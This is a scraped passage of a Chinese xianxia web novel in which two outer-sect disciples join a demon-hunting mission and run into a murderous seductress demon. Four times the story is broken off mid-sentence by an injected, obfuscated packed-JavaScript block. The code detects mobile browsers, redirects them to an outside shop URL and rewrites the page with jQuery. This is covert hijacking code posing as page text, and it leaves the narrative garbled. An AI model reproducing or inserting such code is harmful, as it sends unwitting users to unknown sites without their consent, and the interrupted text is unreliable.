少年有种病态的苍白,黝黑的眼如同两团森然不见底的湖,盯着人看的时候几乎会叫人生出一种毛骨悚然的感觉。 宁竹缩了缩脖子:“我收了你一只妖兽,我们两个之间也算是扯平了……” 江似却忽然笑了,这一笑便如春望山楹,香浮花影,透着些秾丽之色。 他将剑穗放下,漫不经心道:“正经路子。” “珠玑阁发布了个新任务,奖励十万灵石,想不想去?” 宁竹愣了下:“这任务不是要金丹以上的弟子才能领取吗?” 江似挑了下眉毛,慢慢凑近她:“你知道啊。” 宁竹板着脸:“宗门都限定了修为,说明这任务十分凶险,江似,你我都是筑基修为,别去冒险为好。” “冒险?”江似仿佛听到什么好笑的话,他勾了下手指,宁竹腰间的腰牌忽然不受控制地飞向他。 宁竹面色一变,伸手要抢,腰牌却加快速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888537|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在江似手中。 江似啧啧称奇:“一个入门不过三五年的外门弟子,竟拥有那么多积分。” 他拎起腰牌,眯眼道:“你该不会不知道,积分只能在天玑山用吧?” “哦——”他拉长了声音,用一种笃定的调子说:“我懂了,某些特殊的秘境只对特定修为的修士开放,除非你想破例凭借积分得到名额。” 江似晃了晃手中的腰牌:“我说对了没?” 眼前少女似乎变了一个人。 昔日她总是带着笑,温和而柔软,像是晨光熹微时垂落大地的第一抹阳光。 可此时,宁竹双眸冰冷,用一种疏离而戒备的表情看着他。 江似丝毫没有冒犯到旁人隐私的愧疚感,他将腰牌抛给她,耸了耸肩:“别用那样的表情看我。” “归墟五十年之久开启一次,下一次开启就是明年,这很容易猜。” “归墟妖兽横行,变化莫测,但又蕴藏着无数机缘,藏着许多绝世法宝,天玑山向来只允许金丹以上弟子进入,除非你有足够的积分。” “足够的积分,便说明有足够的任务经验,哪怕修为低一些,进入归墟之后说不定也能凭借丰富的经验存活下来。” “很不巧,我也正是这么打算的。” 江似又笑了起来,他贴近宁竹,气息深深浅浅洒在宁竹的耳边,撩起她的鬓发。 “宁竹,恕我直言,距离归墟开启只有不到一年时间了,单凭你的力量,很难在攒够积分的同时攒够保命的法器。” 宁竹瞳孔微微一缩。 江似侧过脸,鼻尖几乎要擦过她的耳尖:“不如我们一起?” 见她不为所动,江似主动示好:“你也看见了,我身怀怪病,不知道什么时候就发病。” “我的确需要一个盟友。” 宁竹往后退了半步,狐疑地盯着他:“怪病?” 江似像一只袒露肚皮的兽,露出些脆弱来:“是啊,我天生经脉有异,容易灵气暴动。” 宁竹嘴角扯了下,所以那次那个人炸烟花一般死掉,正是因为灵气暴动? 可一个筑基期弟子,能有那么厉害? 她眼神更加怀疑了。 江似表情微僵,有些恼怒地说:“我的确只是筑基期,但若非经脉有异,我早就结丹了!” 宁竹在他脸上看出两分气急败坏来。 这么解释……倒也还算合理? 江似看出她的松动,又恢复成了那副泰然自若的模样。 他黝黑的眼瞳带着几分蛊惑:“宁竹,这一次炎陵庄的任务,为何不试试?” “我有办法混淆玉牒上的阵法,让你我也领取任务。” “宁竹,不只有十万灵石,还有三万积分……进入归墟,可是要十万积分哦。” 宁竹微垂的眼睫抖动了下,她问:“任务在什么时候。” 江似瞳色微深,唇角勾起:“两日后。” 11. 第 11 章 薄雾冥冥,晨光熹微。 谢寒卿立在前方,负手看着面前的五位弟子:“各位应该都已经知晓此行任务的特殊性,大家务必以安全第一,不要轻易离队。” 几个弟子都是各峰的佼佼者,做过许多艰险的任务,此行荟聚了那么多精英,众人都知道任务难度定然不低,自是不敢掉以轻心。 谭芸和齐玉明也在其中,闻言立刻表态:“放心吧谢师兄!” “刚好有四位男弟子,两位女弟子,我们两两结伴,随时有个照应……” 谢寒卿点点头:“走吧。” 一行人踏上飞剑,撞入渐渐亮起的天幕之中。 直到他们消失不见,宁竹和江似的身影才出现在下方。 宁竹看着云层中他们留下的剑气,掐算着时间:“再过半刻钟,我们就出发。” 这样可以避免他们正面撞上。 原著里的谢寒卿可是个说一不二之人,若是被他发现两个筑基弟子浑水摸鱼领了任务,他定有办法将他们二人遣返。 江似在一旁抱着手,含笑道:“好啊。” 宁竹看他一副没个正形的模样,鼓起脸颊严肃道:“江似,来之前你可答应我了的,这波我们主要靠苟!” 也不知他使了什么手段,反正她的腰牌上显示任务领取成功了。 只要任务成功,他们便也能分到对应奖励。 宁竹对自己的水平很有数,正面和那大妖刚是不可能的,顶多在一旁打打辅助。 要是很不幸死了……那就死吧。 反正是她自己选的。 宁竹还是很乐观。 原著里她都没看到什么炎陵庄的副本,毕竟这是真实世界,这可能只是男主的打怪升级日常。 应该没太多危险。 江似黝黑的眼眸盯着她,似笑非笑:“好啊。” 又等了一会儿,江似扯了宁竹一把,带着人上了飞剑。 至于为什么要共用一把飞剑……控剑是要灵力的,到炎陵庄约摸要飞一个时辰,宁竹控不了那么久的剑,中途势必要停下来休息。 江似嫌她浪费时间,索性带着她一起了。 筑基和筑基之间也有很大差别的,宁竹猜江似应该已经是筑基圆满了,离结丹就差那么临门一脚。 时值深冬,寒风凛冽,宁竹给两人抛了个御寒诀,风拂在他们身上,却感觉不到冷。 江似垂在肩头的发被风卷起,时不时擦过宁竹的脸颊。 宁竹看着其中夹杂的星星点点银白色,忽然问:“江似,你的头发……” 江似沉默不语。 宁竹尴尬极了:“当我没问!” 江似却忽然回头看她一眼:“很丑?” 宁竹霎时觉得自己罪大恶极,忙说:“不丑!我觉得很酷,很多人还刻意去染这样的颜色呢……” 江似的表情写满了疑惑。 宁竹越说越小声。 她说的是她的世界,不是修真界…… 修真界就是修真版的古代,自然是以青丝如墨为美,她真是哪壶不开提哪壶。 没想到少年忽然轻描淡写说:“经脉有异,会导致身体衰竭,头发早早变白自然很正常。” “早日去到归墟,说不定还能找到办法。” 宁竹的表情有一刹空白。 ……身体衰竭,是她想的那个意思吗? 宁竹张了张唇,却发不出声音。 江似冷笑起来:“别用那么蠢的表情看着我,一时半会死不了。” “倒是你,你要去归墟干什么?” 宁竹抿住唇角不说话了。 江似睨她一眼:“总归不是为了机缘法宝,和我一样,是要去音希山吧。” 被他说中,宁竹睫毛扑簌簌颤动了下。 听闻音希山有一只神鸟,可解世人疑惑。 可惜音希山难以抵达,需要穿过五十年开一次的归墟,山下还有归墟魇魔守护。 阻碍重重,能见到神鸟之人又有几何? 故而关于音希山的一切,更多像是一个传说。 江似颇为好奇,世人只知归墟中机缘法宝无数,却鲜少有人知道这座神秘的音希山,他当初都是花费了好大力气才打听到的,宁竹怎么会知道? 每个人都有自己的秘密。 江似见她不想说,便识趣不问。 宁竹知道音希山,是因为原著里提到男主谢寒卿曾入归墟,斩杀了归墟魇魔。 音希山的神鸟可解世人疑惑。 她要问……她到底怎么样才能回家。 接下来的路程两人没有再交谈。 很快他们便看见前方大地上一片黑雾缭绕。 修真界仙凡有别,有灵根的人可称为“仙”,其余便是“凡”。 炎陵庄便是凡人武学世家所建的庄子。 各大宗门都有保护管辖地的义务,炎陵庄在天玑山的管辖之下,一个月前发现鬼面妖后便派人通知了天玑山。 没想到鬼面妖被诛杀后,又出现了一只大妖。 这只妖放出沉沉黑雾将整个庄子都笼罩起来,白日里看似一切如常。 到了晚上,便会有人莫名其妙中邪,疯疯癫癫或要自残,或要杀人。 炎陵庄将所有中邪的人都抓起来关在一处,等待天玑山弟子前来帮忙。 宁竹早在来之前就了解过大致的任务背景,见到眼前景象,沉思片刻道:“我在藏书阁翻阅了许多古籍,看上去像是雾妖。” 江似却说:“雾妖以神魂为食,通过雾气蒙蔽人的感官,只要将人带离雾气加以治疗,便会好转。” “这些人可一直没有好转。” 飞剑离炎陵庄已经很近了。 江似扭头看宁竹,挑着眉似笑非笑:“宁竹,你还有反悔的余地。” 来都来了,况且炎陵庄这一段原著连写都没写,说明危险性不高。 宁竹来之前就带上了几个防御法器,她摆摆手:“走!” 江似笑了下,忽然撤去飞剑。 宁竹尖叫,江似伸手揽住她的腰,两个人直直坠入黑雾中。 宁竹的感官有一瞬像是被蒙蔽了一般,像是浸在水中,周遭一切都变得闷闷的。 她的身子在不断下坠,宁竹心想,不会吧,她不会要摔死在这里吧! 下一秒,耳边响起一道闷哼。 宁竹死死闭着眼睛,胳膊圈住自己能抓到的唯一实物。 江似懒洋洋的声音响起:“很好抱?” 宁竹睁开眼,才发现自己八爪鱼一般抱着江似,两人倒在一堆草垛上。 草垛倒了大半,江似发上沾了点碎屑,莫名像是一只在草里打过滚的大狗。 宁竹放开他,没忍住笑意。 江似恶狠狠瞪她:“还不是怪你!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888538|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁竹甩了甩头发,将草屑抖落,正想帮江似,他已经给自己施了个法诀,很快整洁一新。 宁竹起身,朝他伸出一只手。 江似不屑地拍开她的手,轻松跳起来:“叫那么大声,生怕别人听不到似的。” 宁竹嘴硬:“谁让你忽然把飞剑撤掉。” 江似讥笑:“炎陵庄设了结界,飞行法器靠近会触发警报。” 宁竹自知理亏,软了语气:“好啦是我错怪你了,我们要不先四处转转?” “我在古籍上读到过,雾妖会附在人身上,要斩杀雾妖,必须找到它的本体。” “谢寒卿他们应该是直接去找炎陵庄庄主了,我们先看看有没有线索。” 两人一前一后走上街道。 雾妖都是晚上行动,白日里还算安全,街上虽然清冷,但还有三三两两的行人,脚步匆匆办着自己的事。 宁竹看了一眼自己腰上系着的明萤草,明萤草原本是莹白的颜色,现在却在慢慢变黑。 雾妖放出的雾气对人有一定负面影响,会导致人深思倦怠,身体疲劳。 明萤草是一种常见的清除负面影响的仙草,来之前她准备了许多。 宁竹见江似身上什么也没带,好几次想给他一把明萤草,但想到他嘲讽的表情,又生生忍住。 好吧,是她太菜了,必须得靠这些外挂,江似可能的确不需要。 两人在庄子上晃悠了小半天,并没有发现什么异常。 临近中午,宁竹没力气了,找了个没人的角落坐下,掏出一只小巧的灵炉,生火煮面。 见她甚至从乾坤袋中掏出一瓶炒香的肉酱,江似没忍住嘴角抽了下。 灵炉上咕咚咕咚冒着热气,少女蹲在旁边,一边吹,一边捞出两碗面来,抬头问他:“吃不吃辣?” 热气熏得她的面颊泛着些潮红,眼神也又湿又软。 江似停顿片刻,挪开视线:“随便。” 片刻后,江似莫名其妙跟她坐在一截倒掉的枯树上嗦着面。 江似忽然发现她吃东西很好看。 秀秀气气捞起一点面,吹凉,再卷入口中,白皙的腮帮子像松鼠一样鼓起来。 他的目光在她被面汁沾得晶亮的红唇上微微一凝。 这样矜贵斯文的吃相,像是大户人家养出来的小姐。 怎么会呢? 明明跟他一样,只是个低劣的外门弟子,贫穷,庸碌。 江似有些恶劣地想,把她丢在南陵城当一天乞丐,她便会变成一只疯狗,为了一口吃食不管不顾抢夺,撕咬。 衣角忽然被人拽了下。 江似阴沉地抬眸。 宁竹却似乎没注意到他眼眸中的恶意,一张小脸有些警觉:“江似,你听。” 有什么声音在他们身后响起。 细碎,调不成声,仿佛痛苦极了。 两人一同仔细听去。 江似的表情慢慢变了,变得十分古怪。 宁竹面也不吃了,握住剑要起身。 江似忽然拉她一把:“吃你的面。” 宁竹有点急:“是不是有人受伤了?我们去看看。” 江似一点点弯起眼,他眼尾生得锐利,笑起来像是带着一把钩子,有些蛊惑人心的味道。 “宁竹,知道那是什么声音么?” 他缓缓眨了下眼,说:“交.欢的声音。” 12. 第 12 章 宁竹呛得咳嗽了起来。 ……是她想的那个意思吗? 仿佛要印证江似的话,那声音越发大起来,几个男人粗重的嘶吼声交叠在一起。 宁竹瞬间石化。 穿书前她只是一个埋头苦学的高中生啊!! 虽然在互联网时代多多少少接触过一些生理常识,但这种多人活春.宫……还是超纲了! 宁竹碗也不要了,抓着江似的胳膊:“江似,我们走吧……” 江似的表情却严肃起来,他岿然不动,伸出一根手指放在唇边。 宁竹不明白他要干什么,却被他的表情唬住。 江似伸手抓住她,足尖一点,轻飘飘翻入园中。 两人躲在一间屋子外面。 那些声音变得奇怪起来,初时欢愉,待到后来变成痛苦。 安静了一瞬,忽然有男人颤抖的声音响起:“不要了,不要了啊啊啊——” 女人尖利的声音响起:“继续啊?” “废物!” 另一人的声音响起:“我错了……我错了!放过我吧——” 像是被人生生掐断喉咙,声音戛然而止。 女人在笑,笑得宁竹背脊发麻,毛骨悚然。 一墙之隔,宁竹似乎听见她赤脚走在地上,啪嗒,啪嗒。 停留在方才与她交.欢的这些男人面前,在求饶声中,拧断他们的脖子。 惨叫声没有传出来太远,很快空气中弥漫着浓重的血腥味。 宁竹嘴唇都白了,手却牢牢抓着灵剑。 她想,他们或许误打误撞,正好发现了一只邪祟。 她太过紧张,也就没有注意到旁边的江似瞳色黑得诡异,兴奋地盯着屋里。 已近黄昏。 黑雾未散,残阳穿透而下,周遭被笼罩在一种诡异的颜色中。 像是干涸已久的血。 女人的脚步声停了。 连风声都安静下来,一切都凝固在这团浓重的雾气里。 宁竹喉咙很干,掌心却渗出细密的汗。 或许过了几秒钟,又或许过了一刻钟。 漆红的雕花门忽然被什么东西穿破! 宁竹瞳孔一缩,祭出手中灵剑劈砍而去! 一只惨白的手掉在地上。 手臂细得过分,青紫色的血管如同蛛丝交织,指尖被鲜血染得一片惨红,像是涂了一层蔻丹。 断手在地上抽搐了下,断裂处忽然生出密密麻麻的红丝,向着屋中飞去! 宁竹尖叫:“快跑!” 一旁的江似就像被吓傻了,一动不动僵在原地。 宁竹一把抓着江似踏上飞剑,拼尽全力操控着飞剑往外逃—— 然而下一秒,万千红丝如同暴雨朝他们袭来! 宁竹的飞剑被缠上,断裂成了几截,两人身子一空,重重跌在地上。 红丝蠕动着,缠上他们的手脚。 雾气仿佛更加浓重了。 黑雾如同流云,絮絮蠕动。 宁竹绝望地抬头,看到一双纤长的腿从雾气中迈出。 是一个女人。 莹润,美艳,每一寸裸露在外的肌肤都泛着诱人的光泽,上面暧昧红痕交织,诱人想入非非。 唯独那张脸。 宁竹一愣。 那张脸,像是被人用尖利的匕首深深划花,皮肉翻卷又愈合,痉挛的新粉疤痕如同一条条蜈蚣爬了她满脸。 偏偏她的眼睛生得极美,哪怕瞳孔泛着血红的色泽,冰冷地盯着两人,也依然如同神祇俯瞰苍生,叫人忍不住想要朝她顶礼膜拜。 经验告诉宁竹,不要被美得不符合常理的事物所蛊惑。 她错开视线,努力不去看她的眼睛。 宁竹注意到了一旁的江似。 和她一样,江似手脚被缚,倒在地上。 但他扬起脸,如同一个狂热的信徒,死死盯着女人的眼睛。 完蛋了。 宁竹抬能活动的腿狠狠踹了江似一脚:“江似!清醒点!” 江似却浑然不觉,只是盯着那双眼睛。 仿佛是宁竹的错觉,她总觉得江似的瞳孔也泛出一种血红的光泽。 女人咯咯笑着走过来,万千红丝在她身边飘舞,像是一条条扭动的蛇。 女人停在了江似面前。 宁竹在地上疯狂挣扎,唤出自己能唤的所有符箓,姜黄色的符纸飞旋着朝女人飞去,却被红丝缠绕着,碎裂成粉末。 女人白皙的手指已经勾起了江似的下巴。 江似脸上没有畏惧,只有狂热,他甚至冲她笑了下。 “好俊俏的小仙君。”她说。 与此同时,密密匝匝的红丝将他们缠绕包裹起来。 周围起了风。 黑雾流转起来,女人抬手一挥,两人如同御雾而行,很快消失不见。 庭院变得一片死寂。 宁竹沉默片刻,试着扯了下身上的红丝。 黏腻,富有弹性,扯不断。 不仅扯不断,被她拉扯到的红丝还突然暴长起来,将她整个人缠了一圈又一圈! 而且这红丝恶趣味地留了一个口子,宁竹的身子被缠成蚕蛹,唯独头露在外面。 不用想,宁竹知道现在场面必定诡异极了。 她抬头看天。 太阳快落山了,雾气越发浓重,看不见江似和那女人的身影。 她垂了下眼。 江似会死吗? 屋门大敞,里面横陈着一地的尸体。 白花花地交叠在一起,宁竹还不小心看见了一些不可描述的部位。 江似也会像这样死去吗? 宁竹不知道。 宁竹慢吞吞叹了口气。 这就是修真界,身旁的伙伴,随时随地都可能死去。 宁竹只是有点惋惜,还有点想吐。 毕竟这样死去,不算光彩。 如果找得到他的尸体,她或许会考虑带件衣服给他。 但很快宁竹就心软不起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888539|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 因为她想起来,江似还欠殷长老十六万灵石,他死了,不就要她还?! 于是当谢寒卿一剑荡开黑雾,飒沓剑光映过宁竹眼眸时,她说的第一句话便是:“救命啊!天玑山还有一个弟子被妖女掳走了!” 齐玉明的长剑离这只茧状怪物只差一寸,生生收住。 带他看清宁竹的脸,他愕然道:“是你?” 谢寒卿白袖如云,墨发高束,眼眸扫过宁竹,眉头几不可察蹙了下:“你为何在这里?” 天玑山弟子会随身佩戴一枚特殊的定位符箓,若遇危险,捏碎符箓,方圆十里的天玑山弟子都会有所感应,以最快速度赶来相助。 刚刚他们正是感应到此处有同门。 宁竹来不及跟他解释那么多了:“师兄师姐们!有人被妖女抓走了,你们快去救人啊!” 宁竹动弹不得,只能用眼神示意:“这些红丝就是那妖女身上的!” 忽然从墙头跳下来一个身形高挑,容貌娇艳的女子,她甩动着手中黑鞭,抱怨道:“好好的你们怎么突然跑了?” 她看到宁竹,噗呲一声笑出声来,抓着鞭子抽打了一下宁竹身子外面的红茧:“什么鬼东西!” “白师妹!” 好几个人都同时出声阻止她,然而白晚动作太快,红丝像被触怒,张牙舞爪顺着鞭子缠绕而上! 白晚吓了一跳,丢出好几个法诀,然而那红线却丝毫不惧,眼看着就要缠上她的手,一道磅礴的剑气阵阵荡开! 红线竟似畏惧一般,缩头缩脑退了回去。 可惜宁竹身边只是垂落了几根碎裂的红丝,她整个人依然被红茧包裹在其中。 谢寒卿声音清冷,对宁竹说:“闭眼。” 宁竹从善如流,感觉有一道温和的灵力将她笼罩起来,旋即便是一声低沉的剑吟。 束缚感霎时消失,宁竹身上的衣服都没有被划破半分,缠绕在她身上的红丝碎为齑粉。 宁竹睁开眼,欣然一喜,正要开口,谢寒卿便说:“谭芸,劳烦你护送她回天玑山。” 宁竹立刻跳起来:“谢师兄!先等等!” 她指着屋子里:“现在不是说这些的时候,谢师兄,同我一道前来的另一位弟子被妖女抓走了,那些人都是她杀的,我们快去救人吧!” 谢寒卿的目光不着痕迹落在她手腕上。 被红丝缠了太久,少女白皙的皮肤上落下道道交错的红痕。 宁竹担心他们不信她的话,焦急解释:“如有半句虚言,回宗门后大可叫长老将我逐下山,现在救人要紧——” 谢寒卿踏上怀卿剑,淡漠的眼瞳看着她:“指路。” 寒卿剑横在空中,发出细细的嗡鸣。 宁竹不作他想,问谢寒卿:“谢师兄,我的剑断了,能不能跟你一起?” 她没有注意到,周遭一片死寂。 白晚意味不明地看着她,眉毛高高挑起。 宁竹不知道。 谢寒卿的剑,从不允许别人碰。 13. 第 13 章 谢寒卿动了。 他袖袍一挥,一柄细细的青色长剑飞到宁竹面前。 “此剑名为点青,你先用着。” 宁竹欢欢喜喜踏上剑:“多谢师兄!” 齐玉明和谭芸对视一眼,皆露出些吃惊的表情。 点青乃是谢寒卿初初入道时,还未在剑冢找到本命剑时所用。 他竟舍得拿出来给旁人用? 但谢寒卿和宁竹已经朝着江似消失的方向追了过去。 他们也不敢耽搁,紧随其后。 白晚正是白暮的妹妹,与齐谭二人相熟,飞到他们身边问:“那小姑娘是谁?谢师兄为什么对她那么好?” 谭芸摇头:“不知道,是个外门弟子。” 白晚哼了一声:“我姐姐这次没来,肯定就是因为她!” 姐姐和谢师兄天造地设,岂是旁人能肖想的!连姜汐年她都看不上,更何况一个外门弟子? 她定要给她点颜色看看! 炎陵庄外的荒郊。 一团巨大的红色的茧状物飘浮在空中,周遭带起小小的气旋。 忽然之间,茧状物砰一声炸开,有女子发出凄厉的叫声。 吸附在江似身上的红丝如同枯萎的藤蔓,萎缩掉落。 他缓缓降落到地上,偏头看着匍匐在地面的女人。 女人扬起脸,愤恨而怨毒地盯着他:“你是何人?” 江似慢条斯理整理了下他被扯乱的衣领,黝黑的瞳闪动着兴奋的光,痴迷地盯着她的眼睛。 女人的表情又慢慢变了。 男人,如何抵御得了她的媚毒。 她张开红唇,吐出蛇一般柔软的舌,发出暧昧的声音:“郎君,郎君……” 音波如浪,在空气中阵阵荡开,黑雾如有实质搅动起来。 江似像是被她蛊惑住了,一动不动立在原地,如同一只无辜的羔羊。 红丝如同蛛网,再度粘上了江似的身体。 女人的眼睛变得越来越红,仿佛燃烧着玄火,摧枯拉朽般焚尽一切。 红丝挑开江似的衣领,正要往他胸膛里钻的时候,忽然有一只手直直插向女人的眼睛。 “啊!!” 血溅了江似满脸。 他兴奋地抓住那对眼珠,声音压抑着某些情绪:“找到你了。” 红丝一刹那回到女人的身体中,她捂着空洞的眼眶,倒在地上痛苦哀嚎。 眼珠浸在鲜血之中,却仍然漂亮得像是世间最美的一对宝石。 江似察觉到自己的身体蠢蠢欲动,血脉在沸腾,心脏在偾张。 他痴迷地看着那对眼珠,再次喃喃:“找到了。” 女人忽然抬起空洞的眼眶。 “还我。”她说。 话音落,似乎所有黑雾都朝着一个方向聚集起来,雾气越凝越实,最后竟幻化为无数支利箭,带着破空之声朝江似袭来!! 江似瞳孔一缩,身形一扭往旁边堪堪躲开。 然而黑雾以诡异的速度再度凝为成千上万只利箭,把江似笼罩于其中。 这次他逃不掉了。 在箭矢落下那一刻,江似抬手,把眼珠按向了自己的眼眶。 箭矢发出尖锐的啸声,密密匝匝穿透江似的身体。 空气安静了一刹。 江似重重倒下,身下的雪地被迅速染红。 他睁着失焦的眼,茫然看着灰白的天空。 女人尖利地笑着,如同蛇一样爬行到江似身边,伸手去掏他的眼睛。 江似的眼珠忽然转了下。 女人的头,毫无预兆,被什么东西咬断,咕噜噜滚落在地。 如同一只傀儡被人剪断了线,女人的身子软软倒了下去。 褪色的红丝蜿蜒了一地,凝聚的黑雾四散开来,周遭再度被笼罩在一片沉沉的雾气里。 天色已经完全黯淡下去了,黑雾遮云蔽月,什么都看不清。 谢寒卿眉头微蹙,直直朝着一个方向飞去,其余弟子紧跟其后。 飒沓剑光划破黑雾,留下数道流星般的轨迹。 另一边,江似已经清理了身上的血迹,还给自己制造了几道不轻不重的伤口。 一只浑身漆黑,丑陋无比,却长着一排森然利齿的鸟蹲在女子的尸体旁,不停地啄着她的血肉。 江似若有所思看着它吃尸体,抬手摸了下那鸟妖身边笼罩的东西。 摸不到。 像是絮状的云,颜色发红。 这是什么? 江似眨了下眼,并未觉得有任何不适。 他死不了,哪怕被雾气凝成的箭刺成筛子。 但要恢复意识,还需要花点时间。 倒下去的那一瞬,他在想什么? 对了,他在想,要是这个时候能有人来杀了这女人就好了。 于是她的脑袋被这鸟妖咬掉了。 察觉到江似的动作,鸟妖停下动作,亲昵地蹭了下他的手指。 江似盯着它眉心的一点红色,赤焰金乌,高阶妖兽,为何这么听他的话? 上空隐隐有飞剑声传来。 江似眉尾微动,对赤焰金乌说:“躲起来。” 赤焰金乌的鸟喙被鲜血染红,看上去更加诡异了。 它偏了下头,用猩红的瞳孔盯着江似,片刻后,忽然振翅飞走。 江似看向阴翳的天际,很快有几道飞剑刺破黑雾,出现在他上方。 江似眼神里露出些兴味。 是天玑山的弟子,但他们的周围就如同那只鸟妖一般,浮现着深深浅浅的红色絮状物质。 然而下一秒,他的表情凝住。 有两个人的周围,什么也没有。 宁竹率先看见了他,她看上去兴奋极了:“江似!你没事吧!” 而另一个他看不见絮状物的人,正是天玑山掌门弟子,谢寒卿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888540|192126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他踏在自己的本命剑上,衣袖招展,神情淡漠,天玄离尘带在他墨发间飞舞。 江似的下颌绷紧了。 宁竹已经跳下飞剑来,其余弟子紧随其后,众人都看见了离江似不远处的无头女尸。 宁竹注意到那些失去光泽的红丝,结结巴巴问:“你,你杀了这女妖?” 所有人的视线都聚焦在江似身上。 江似喉结轻轻滚了一下,露出一个无辜的表情:“不是我,方才我昏了过去,醒来之后就成这样了。” 谢寒卿背负长剑,走上前勘察。 “是赤焰金乌。”他淡淡道。 白晚抱着手走上前来:“如果我没记错,这可是高阶妖兽。” 她意有所指看江似一眼。 其余弟子都露出些戒备之色。 高阶妖兽性子凶残,怎么会放过一个手无缚鸡之力的弟子? 谢寒卿对江似说:“师弟,你方才被掳走,这附近又出现了高阶妖兽,我需要对你进行检查。” 江似盯着他,浑然不在乎般道:“好啊。” 谢寒卿朝他探出手来。 小仙君的指尖带着凉意,触上他的肌肤时,叫江似生出几分不适感。 一股强大的力量直直撞入他的灵丹,顺着他的经脉游走。 江似死死咬着牙,才能忍住一剑抹断他脖颈的冲动。 谢寒卿很快撤走手指:“无碍,只是神识有些不稳。” 谢寒卿的话,自然无人质疑。 白晚却非要挑刺:“谢师兄,我听谭芸说你们这次的任务不是要金丹期弟子才能领取的吗?” 她看江似一眼,又瞥了一眼宁竹:“两个筑基期弟子来添什么乱。” 其实她说的对。 按照原本计划,宁竹和江似是打算全程脱离大部队,在旁边浑水摸鱼赚个积分的。 谁能想到上来就遇见那么厉害的妖,不得不求助大部队,宁竹现在对自己和江似很有数,也没脸在这里当大家的拖油瓶了。 但冒领任务的事情不能暴露,不然他和江似估计就要被珠玑阁拉黑了。 况且江似是怎么打破玉牒上的禁制的,她知道有古怪,更不能叫旁人知晓。 于是宁竹恰到好处露出一个懵逼的表情:“啊?” 就像上课摸鱼玩手机被老师忽然点名回答问题的学生,透着三分迷茫,三分愚蠢。 “这位师姐,我和江似都是筑基期,也领取成功了。” 她点了下腰牌,主动递给众人看,上面浮现出一行小字,写的正是【炎陵庄任务中】。 白晚立刻说:“管你怎么领到的任务,你们这样的筑基期弟子,来了就是给我们拖后腿!还不速速滚回——” “白师妹。”谢寒卿打断她。 小仙君语气平淡,如同琉璃雕刻而成的眼瞳淡漠疏离。 他一字一句说:“这是我们宗门的事。” 14. 第 14 章 周边弟子面面相觑,都露出不知所措的表情。 谢寒卿没有丝毫咄咄逼人的意思,但白晚的眼圈却一点点红了。 谢寒卿面无表情看着她,一丝不耐烦却慢慢攀爬上心头。 白家二女,一人动如脱兔,一人静若处子,性格截然相反。 七岁那年,他随谢家前往南陵城赴宴,第一次见到这对姐妹。 白家家主让两个女儿陪他玩。 一天结束后,他对聒噪的二小姐避之不及,那之后不久,大小姐白暮便被送上了天玑山,随后他也去到天玑山,两人成为了同门。 谢寒卿天性早熟,很小的时候便明白,是他那一次表露出来的偏好,让白家做出了选择。 只是那又如何?他不打算与任何人结为道侣。 旁人要做什么,与他何干。 每年生辰白晚都要来天玑山,和白暮一起陪他庆生。 每一次下山做任务,她都会想方设法跟着前来。 在此之前,谢寒卿并没有什么反应。 他自小对周围人情感淡漠,白家两姐妹对他而言,与旁人没有任何不同。 可在他将凤和白玉还给白暮之后,某些心境忽然间变了。 在炎陵庄看见白晚的那一刹,谢寒卿感到厌烦。 白暮为何还没有告知她家里人,自己已经将凤和白玉还给她了? 还是白家的二小姐,又背负着家族的使命,来替代她的长姐? 眼前少女生得很美,不同于她姐姐严肃古板,不苟言笑,就如同冰山圣女,白晚是另一个极端。 她爱笑,爱闹,小小年纪便把蛊惑人心那一套运用得纯熟。 此时她睫毛颤抖,咬着红唇,眼底浮着浅浅泪光,仿佛在控诉他一般。 周边弟子都于心不忍,齐玉明主动开口劝道:“谢师兄,没有规矩不成方圆,白师妹也只是好心提醒……” 他自然还记得珠玑阁里和宁竹的冲突,故意说:“有人贪财成性,说不准正是用了什么法子蒙混过关,故意蹭积分来了。” 江似眼神阴冷看向齐玉明。 齐玉明注意到他的视线,故意拖长声音说:“自己一个人还不够,还得拉上一个无辜男弟子,啧啧。” 